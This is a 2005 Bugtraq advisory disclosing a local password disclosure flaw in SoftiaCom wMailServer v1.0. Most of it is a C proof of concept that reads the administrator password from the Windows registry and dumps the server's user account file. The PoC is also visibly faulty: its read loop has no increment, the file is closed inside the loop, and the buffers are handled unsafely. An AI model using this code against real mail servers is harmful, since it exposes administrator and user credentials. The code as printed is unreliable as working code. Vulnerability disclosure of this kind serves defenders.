bugtraq - SoftiaCom MailServer - Local Password Disclosure Vulnerability

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Date: 12 Jul 2005 17:28:02 -0000
From: unsecure@...teme.com
To: bugtraq@...urityfocus.com
Subject: SoftiaCom MailServer - Local Password Disclosure Vulnerability


Software: SoftiaCom MailServer
Corporation: DarWeb
Version: v1.0 (v2.0 is a fake)
Vulnerability: Local Password Disclosure


-------------------------------


BACKGROUND
__________


SoftiaCom design and build software utilities in communication and network server.

WMailserver is an internet email server able to listin in the appropriate mail port
to fetch incoming emails from the net. You can add users and manage them, avoid spam.

Source: www.softiacom.com


Proof of Concept
________________


/**************************************
# Vulnerability: Local Password Disclosure
# Discovered on: July 9, 2005 by SecuBox Labs
# Severity: Normal
**************************************/

#include <windows.h>
#include <stdio.h>

#define BUF 100

LONG lRet;
HKEY hKey;
DWORD dwBuf=BUF;
char pwd[BUF], fichier[BUF], donnees[BUF];

int main()
{

if( RegOpenKeyEx( HKEY_CURRENT_CONFIG,"Software\\Darsite\\MAILSRV\\Admin",0,KEY_QUERY_VALUE,&hKey) !=ERROR_SUCCESS )
{
fprintf( stdout, "Aucune clef wMailServer en vue !\n" );
return -1;
}

if( RegQueryValueEx( hKey,"",NULL,NULL,(BYTE *)&pwd,&dwBuf) != ERROR_SUCCESS )
lstrcpy( pwd,"Vide\n" );

fprintf( stdout, "\n\n-------------------------------------------\n" );
fprintf( stdout, "SoftiaCom Software - wMailServer v1.0\n" );
fprintf( stdout, "Local Password Disclosure Vulnerability\n\n" );
fprintf( stdout, "Discovered by SecuBox Labs\n\n" );
fprintf( stdout, "-------------------------------------------\n\n" );
fprintf( stdout, "Mot de passe Administrateur\t: %s\n", pwd );

int i;
FILE *fp;
char ch[100];

strcpy(fichier,"\\WINNT\\MAILSRV\\userlist");

if((fp=fopen(fichier,"rb")) == NULL)
{
printf("Pas cool !\n");
return -1;
}

for(i=0;i<99;i )
{
ch[i]=getc(fp);
strcpy(donnees,ch);
fclose(fp);
}

fprintf( stdout, "\nListe des comptes utilisateurs\n\n %s\n", donnees );
return 0;
}